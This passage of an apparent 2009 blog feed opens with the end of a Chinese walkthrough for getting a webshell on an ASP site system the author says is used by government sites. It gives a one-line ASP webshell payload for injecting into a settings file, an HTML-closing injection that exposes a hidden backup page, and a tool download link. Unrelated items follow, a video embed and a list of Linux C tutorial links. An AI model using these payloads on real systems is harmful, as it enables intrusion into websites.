&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;zf11_icp&nbsp;=&nbsp;trim(Request.form("zf11_icp"))<br>
voteincdir&nbsp;=&nbsp;server.mappath("Include/setting.asp")<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Const&nbsp;ForReading&nbsp;=1,&nbsp;ForWriting&nbsp;=&nbsp;2<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set&nbsp;fs&nbsp;=&nbsp;CreateObject("Scripting.FileSystemObject")<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set&nbsp;ts&nbsp;=&nbsp;fs.OpenTextFile(voteincdir,ForWriting,&nbsp;True)<br>
ts.Write&nbsp;"&nbsp;zf11_http=&nbsp;"&amp;""""&amp;zf11_http&amp;""""&amp;&nbsp;vbCrLf<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ts.Write&nbsp;"&nbsp;zf11_icp=&nbsp;"&amp;""""&amp;zf11_icp&amp;""""&amp;&nbsp;vbCrLf<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ts.Write&nbsp;"&nbsp;zf11_line_H=&nbsp;"&amp;""""&amp;zf11_line_H&amp;""""&amp;&nbsp;vbCrLf<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ts.Write&nbsp;"&nbsp;zf11_Logo=&nbsp;"&amp;""""&amp;zf11_Logo&amp;""""&amp;&nbsp;vbCrLf<br>
%&gt;</td>
</tr>
</tbody>
</table>
代码我截取了部分，变量基本上只是过滤空格后直接保存到 Inlcude / setting.asp文件中，我们写入一句话<a href="http://www.05112.com/index.html">木马</a>&nbsp;
<table cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
<tbody>
<tr>
<td bgcolor="#F3F3F3"><font size="+0">以下是引用片段：</font><br>
"%&gt;&lt;%execute&nbsp;request("jk")%&gt;</td>
</tr>
</tbody>
</table>
即可。如图10
<div>
<div><img alt="" hspace="0" src="http://www.hack58.net/Article/UploadPic/2009-5/200951403444722.jpg" width="630" border="0"><br>
<br>
<div>本程序虽然有上传地方，可是不能利用。如果上面的配置文件被修改掉了，我们该怎么获取webshell呢。在admin目录下我发现 Admin_BackData.asp文件，但是在后台没有连接的，就是说后台没有这个功能栏目。有的朋友可能说 我们在地址栏中输入 http://localhost/sitong/admin/Admin_BackData.asp 不就可以了看到备份页面了吗？当初我也是这么想的，但是错了。因为在 Admin_BackData.asp 头部包含 admin_function.asp</div>
<div>该文件中定义了一段 防外部提交连接的代码</div>
<p align="left"></p>
<table cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
<tbody>
<tr>
<td bgcolor="#F3F3F3"><font size="+0">以下是引用片段：</font><br>
&lt;%<br>
dim ComeUrl,cUrl<br>
ComeUrl=lcase(trim(request.ServerVariables("HTTP_REFERER")))<br>
if&nbsp;ComeUrl=""&nbsp;then<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response.write&nbsp;"&lt;br&gt;&lt;p&nbsp;align=center&gt;&lt;font&nbsp;color=’red’&gt;对不起，为了系统安全，不允许直接输入地址访问本系统的后台管理页面。&lt;/font&gt;&lt;/p&gt;"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response.end<br>
else<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cUrl=trim("http://"&nbsp;&amp;&nbsp;Request.ServerVariables("SERVER_NAME"))<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;mid(ComeUrl,len(cUrl)+1,1)=":"&nbsp;then<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cUrl=cUrl&nbsp;&amp;&nbsp;":"&nbsp;&amp;&nbsp;Request.ServerVariables("SERVER_PORT")<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end&nbsp;if<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cUrl=lcase(cUrl&nbsp;&amp;&nbsp;request.ServerVariables("SCRIPT_NAME"))<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;lcase(left(ComeUrl,instrrev(ComeUrl,"/")))&lt;&gt;lcase(left(cUrl,instrrev(cUrl,"/")))&nbsp;then<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response.write&nbsp;"&lt;br&gt;&lt;p&nbsp;align=center&gt;&lt;font&nbsp;color=’red’&gt;对不起，为了系统安全，不允许从外部链接地址访问本系统的后台管理页面。&lt;/font&gt;&lt;/p&gt;"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response.end<br>
end&nbsp;if<br>
end&nbsp;if<br>
%&gt;</td>
</tr>
</tbody>
</table>
<div>&nbsp;</div>
<div>程序经过判断后跳回到后台主页上，感觉和防盗链有点类似，必须在其他页面上获取地址后才能显示这样我们该怎么将备份数据库的页面给调出来呢？ 我们在后台友情连接处发现这样代码:</div>
<p align="left"></p>
<table cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
<tbody>
<tr>
<td bgcolor="#F3F3F3"><font size="+0">以下是引用片段：</font><br>
&lt;%<br>
if&nbsp;request.querystring("action")="addlinks"&nbsp;then<br>
set&nbsp;rs=server.CreateObject("adodb.recordset")<br>
rs.open&nbsp;"select&nbsp;fl_name,fl_name&nbsp;from&nbsp;friendlink&nbsp;where&nbsp;fl_name=’"&amp;trim(request.form("fl_name"))&amp;"’&nbsp;or&nbsp;fl_url=’"&amp;trim(request.form("fl_url"))&amp;"’",conn,1,1<br>
if&nbsp;not&nbsp;rs.eof&nbsp;and&nbsp;not&nbsp;rs.bof&nbsp;then<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Write("&lt;script&nbsp;language=javascript&gt;alert(’错误提示：\n\n①&nbsp;此站点已经提交过’);&lt;/script&gt;")<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.End<br>
rs.close<br>
end&nbsp;if<br>
%&gt;</td>
</tr>
</tbody>
</table>
变量都没有经过有效过滤，带入数据库中。在这里我们要想办法在fl_url变量中闭合掉html中的&lt;a href="&lt;%=rs("fl_url")%&gt;" target="_blank"&gt; 在这个地方输入 “Admin_BackData.asp" target="'zf11Sys_Main'
<div>
<div>” 就可以闭合html，成功调出备份页。如图11</div>
<div><img alt="" hspace="0" src="http://www.hack58.net/Article/UploadPic/2009-5/200951403444301.jpg" border="0"><br>
<br></div>
<div>到此不用我多说了吧，传个马备份就可获得webshell。除了这里还能在广告管理也可以调出备份页。</div>
<div>&nbsp;</div>
<div><b><font color="#FF0000">三．写在最后</font></b></div>
<div>&nbsp;</div>
<div>由于本次分析的系统涉及到政府部门网站，请大家看到此文后本着学习的态度去检测，千万慎重对待。在这里写出本文主要是给站长们提个醒赶紧修补漏洞，以免被少数人利用造成恶意攻击的后果。同时继续支持开源产品,因为有了他们才使网络发展的速度更快。好了，本文涉及的工具都打包了，工具可运行的平台是VS2005,不然可能不稳定。有什么问题大家到黑防论坛上交流吧。</div>
<div>工具下载地址: <a href="http://www.ahiec.net/eWebEditor/UploadFile/sitong.rar">http://www.ahiec.net/eWebEditor/UploadFile/sitong.rar</a></div>
<div>&nbsp;</div>
<div>PS: 百度不让多写，郁闷。后来和非安全大哥交流了下才知道还有个 致命漏洞，并且 HTTP也可以伪造。哈哈。</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div> ]]></description>
		<eb:creationDate>2009-05-14 09:37:41</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ 日本著名女演员集体跳舞 ]]></title>
		<link>http://blog.tom.com/xieliang_521/article/7145.html</link>
		<description><![CDATA[ <object codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" height="300" width="400" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"><param name="_cx" value="10583">
<param name="_cy" value="7938">
<param name="FlashVars" value="">
<param name="Movie" value="http://player.youku.com/player.php/sid/XODkwNzMzMDQ=/v.swf">
<param name="Src" value="http://player.youku.com/player.php/sid/XODkwNzMzMDQ=/v.swf">
<param name="WMode" value="Opaque">
<param name="Play" value="-1">
<param name="Loop" value="-1">
<param name="Quality" value="AutoHigh">
<param name="SAlign" value="">
<param name="Menu" value="-1">
<param name="Base" value="">
<param name="AllowScriptAccess" value="">
<param name="Scale" value="ShowAll">
<param name="DeviceFont" value="0">
<param name="EmbedMovie" value="0">
<param name="BGColor" value="">
<param name="SWRemote" value="">
<param name="MovieData" value="">
<param name="SeamlessTabbing" value="1">
<param name="Profile" value="0">
<param name="ProfileAddress" value="">
<param name="ProfilePort" value="0">
<param name="AllowNetworking" value="all">
<param name="AllowFullScreen" value="false">
<embed src="http://player.youku.com/player.php/sid/XODkwNzMzMDQ=/v.swf" width="400" height="400" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"></object> ]]></description>
		<eb:creationDate>2009-05-13 13:14:22</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ Linux平台C编程系列视频教学 ]]></title>
		<link>http://blog.tom.com/xieliang_521/article/7143.html</link>
		<description><![CDATA[ Linux平台C编程系列视频教学<br>
建议使用1024X768以上的分辨率！<br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第一章 了解C语言(1)<br>
<a href="http://player.youku.com/player.php/sid/XNDE4MzA4NA" target="_blank">http://player.youku.com/player.php/sid/XNDE4MzA4NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第一章 了解C语言(2)<br>
<a href="http://player.youku.com/player.php/sid/XNDE4Mzc2NA" target="_blank">http://player.youku.com/player.php/sid/XNDE4Mzc2NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第一章 了解C语言(3)<br>
<a href="http://player.youku.com/player.php/sid/XNDE4Mzc5Mg" target="_blank">http://player.youku.com/player.php/sid/XNDE4Mzc5Mg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第一章 了解C语言(4)<br>
<a href="http://player.youku.com/player.php/sid/XNDIwNTI0OA" target="_blank">http://player.youku.com/player.php/sid/XNDIwNTI0OA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第二章 Linux下C程序开发环境(1)<br>
<a href="http://player.youku.com/player.php/sid/XNDI0NzQ0NA" target="_blank">http://player.youku.com/player.php/sid/XNDI0NzQ0NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第二章 Linux下C程序开发环境(2)<br>
<a href="http://player.youku.com/player.php/sid/XNDI0NzczMg" target="_blank">http://player.youku.com/player.php/sid/XNDI0NzczMg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第二章 Linux下C程序开发环境(3)<br>
<a href="http://player.youku.com/player.php/sid/XNDI0Nzc3Ng" target="_blank">http://player.youku.com/player.php/sid/XNDI0Nzc3Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第二章 Linux下C程序开发环境(4)<br>
<a href="http://player.youku.com/player.php/sid/XNDI0NzYzNg" target="_blank">http://player.youku.com/player.php/sid/XNDI0NzYzNg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第二章 Linux下C程序开发环境(5)<br>
<a href="http://player.youku.com/player.php/sid/XNDI0NzkzNg" target="_blank">http://player.youku.com/player.php/sid/XNDI0NzkzNg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Linux基础(1)<br>
<a href="http://player.youku.com/player.php/sid/XNDI0ODc3Ng" target="_blank">http://player.youku.com/player.php/sid/XNDI0ODc3Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Linux基础(2)<br>
<a href="http://player.youku.com/player.php/sid/XNDI0ODk2OA" target="_blank">http://player.youku.com/player.php/sid/XNDI0ODk2OA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Linux基础(3)<br>
<a href="http://player.youku.com/player.php/sid/XNDI0OTAwOA" target="_blank">http://player.youku.com/player.php/sid/XNDI0OTAwOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Linux基础(4)<br>
<a href="http://player.youku.com/player.php/sid/XNDcyNDU4NA" target="_blank">http://player.youku.com/player.php/sid/XNDcyNDU4NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Linux基础(5)<br>
<a href="http://player.youku.com/player.php/sid/XNDcyNDY2NA" target="_blank">http://player.youku.com/player.php/sid/XNDcyNDY2NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Linux基础(6)<br>
<a href="http://player.youku.com/player.php/sid/XNDcyNDk1Mg" target="_blank">http://player.youku.com/player.php/sid/XNDcyNDk1Mg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Linux基础(7)<br>
<a href="http://player.youku.com/player.php/sid/XNDcyNTAyOA" target="_blank">http://player.youku.com/player.php/sid/XNDcyNTAyOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Linux基础(8)<br>
<a href="http://player.youku.com/player.php/sid/XNDcyNTA2NA" target="_blank">http://player.youku.com/player.php/sid/XNDcyNTA2NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Linux基础(9)<br>
<a href="http://player.youku.com/player.php/sid/XNDcyNTgwMA" target="_blank">http://player.youku.com/player.php/sid/XNDcyNTgwMA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Linux技术实验(1)<br>
<a href="http://player.youku.com/player.php/sid/XNDc0MDA3Mg" target="_blank">http://player.youku.com/player.php/sid/XNDc0MDA3Mg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Linux技术实验(2)<br>
<a href="http://player.youku.com/player.php/sid/XNDc0MDE0NA" target="_blank">http://player.youku.com/player.php/sid/XNDc0MDE0NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Linux技术实验(3)<br>
<a href="http://player.youku.com/player.php/sid/XNDc0MTAyMA" target="_blank">http://player.youku.com/player.php/sid/XNDc0MTAyMA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Linux技术实验(4)<br>
<a href="http://player.youku.com/player.php/sid/XNDc0MTE1Ng" target="_blank">http://player.youku.com/player.php/sid/XNDc0MTE1Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Linux技术实验(5)<br>
<a href="http://player.youku.com/player.php/sid/XNDc0MTE2OA" target="_blank">http://player.youku.com/player.php/sid/XNDc0MTE2OA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Linux技术实验(6)<br>
<a href="http://player.youku.com/player.php/sid/XNDc0MzQwNA" target="_blank">http://player.youku.com/player.php/sid/XNDc0MzQwNA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Linux技术实验(7)<br>
<a href="http://player.youku.com/player.php/sid/XNDc0MzQ5Ng" target="_blank">http://player.youku.com/player.php/sid/XNDc0MzQ5Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Shell基础(1)<br>
<a href="http://player.youku.com/player.php/sid/XNDg3MzQyOA" target="_blank">http://player.youku.com/player.php/sid/XNDg3MzQyOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Shell基础(2)<br>
<a href="http://player.youku.com/player.php/sid/XNDg3MzUwMA" target="_blank">http://player.youku.com/player.php/sid/XNDg3MzUwMA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Shell基础(3)<br>
<a href="http://player.youku.com/player.php/sid/XNDg3MzU5Ng" target="_blank">http://player.youku.com/player.php/sid/XNDg3MzU5Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Shell基础(4)<br>
<a href="http://player.youku.com/player.php/sid/XNDg3Mzc4MA" target="_blank">http://player.youku.com/player.php/sid/XNDg3Mzc4MA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Shell基础(5)<br>
<a href="http://player.youku.com/player.php/sid/XNDg3MzgyOA" target="_blank">http://player.youku.com/player.php/sid/XNDg3MzgyOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Shell基础实验(1)<br>
<a href="http://player.youku.com/player.php/sid/XNDkzMDcyNA" target="_blank">http://player.youku.com/player.php/sid/XNDkzMDcyNA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Shell基础实验(2)<br>
<a href="http://player.youku.com/player.php/sid/XNDkzMTA0NA" target="_blank">http://player.youku.com/player.php/sid/XNDkzMTA0NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Shell基础实验(3)<br>
<a href="http://player.youku.com/player.php/sid/XNDkzMjAzNg" target="_blank">http://player.youku.com/player.php/sid/XNDkzMjAzNg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第三章 Shell基础实验(4)<br>
<a href="http://player.youku.com/player.php/sid/XNDk0MzYwMA" target="_blank">http://player.youku.com/player.php/sid/XNDk0MzYwMA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第四章 VI编辑器的使用(1)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4MTY4MA" target="_blank">http://player.youku.com/player.php/sid/XNDk4MTY4MA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第四章 VI编辑器的使用(2)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4MTgyMA" target="_blank">http://player.youku.com/player.php/sid/XNDk4MTgyMA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第四章 VI编辑器的使用(3)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4MTg0NA" target="_blank">http://player.youku.com/player.php/sid/XNDk4MTg0NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第四章 VI编辑器的实验(1)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4MjE4NA" target="_blank">http://player.youku.com/player.php/sid/XNDk4MjE4NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第四章 VI编辑器的实验(2)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4MjMyOA" target="_blank">http://player.youku.com/player.php/sid/XNDk4MjMyOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第五章 基本数据类型(1)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4MzUyNA" target="_blank">http://player.youku.com/player.php/sid/XNDk4MzUyNA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第五章 基本数据类型(2)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4MzY1Ng" target="_blank">http://player.youku.com/player.php/sid/XNDk4MzY1Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第五章 基本数据类型(3)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4MzY5Ng" target="_blank">http://player.youku.com/player.php/sid/XNDk4MzY5Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第五章 基本数据类型(4)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4MzczMg" target="_blank">http://player.youku.com/player.php/sid/XNDk4MzczMg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第五章 基本数据类型(5)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4Mzc2MA" target="_blank">http://player.youku.com/player.php/sid/XNDk4Mzc2MA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第五章 基本数据类型(6)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4Mzc2NA" target="_blank">http://player.youku.com/player.php/sid/XNDk4Mzc2NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第五章 基本数据类型(7)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4MzgzNg" target="_blank">http://player.youku.com/player.php/sid/XNDk4MzgzNg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第五章 基本数据类型(8)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4NDE3Mg" target="_blank">http://player.youku.com/player.php/sid/XNDk4NDE3Mg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第五章 基本数据类型(9)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4NDI0OA" target="_blank">http://player.youku.com/player.php/sid/XNDk4NDI0OA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第五章 基本数据类型(10)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4NDMwMA" target="_blank">http://player.youku.com/player.php/sid/XNDk4NDMwMA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第五章 基本数据类型(11)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4NDMzMg" target="_blank">http://player.youku.com/player.php/sid/XNDk4NDMzMg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第五章 基本数据类型(12)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4NDQ5Ng" target="_blank">http://player.youku.com/player.php/sid/XNDk4NDQ5Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第五章 基本数据类型(13)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4NDYwOA" target="_blank">http://player.youku.com/player.php/sid/XNDk4NDYwOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第五章 基本数据类型(14)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4NDY0NA" target="_blank">http://player.youku.com/player.php/sid/XNDk4NDY0NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第五章 基本数据类型实验(1)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4OTIxMg" target="_blank">http://player.youku.com/player.php/sid/XNDk4OTIxMg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第五章 基本数据类型实验(2)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4OTcwOA" target="_blank">http://player.youku.com/player.php/sid/XNDk4OTcwOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第五章 基本数据类型实验(3)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4OTk0OA" target="_blank">http://player.youku.com/player.php/sid/XNDk4OTk0OA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第五章 基本数据类型实验(4)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4OTk3Mg" target="_blank">http://player.youku.com/player.php/sid/XNDk4OTk3Mg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第五章 基本数据类型实验(5)<br>
<a href="http://player.youku.com/player.php/sid/XNDk4OTk4OA" target="_blank">http://player.youku.com/player.php/sid/XNDk4OTk4OA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第六章 顺序程序设计(1)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5MDIyMA" target="_blank">http://player.youku.com/player.php/sid/XNDk5MDIyMA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第六章 顺序程序设计(2)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5MDQ4NA" target="_blank">http://player.youku.com/player.php/sid/XNDk5MDQ4NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第六章 顺序程序设计(3)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5MDU3Mg" target="_blank">http://player.youku.com/player.php/sid/XNDk5MDU3Mg</a><br>
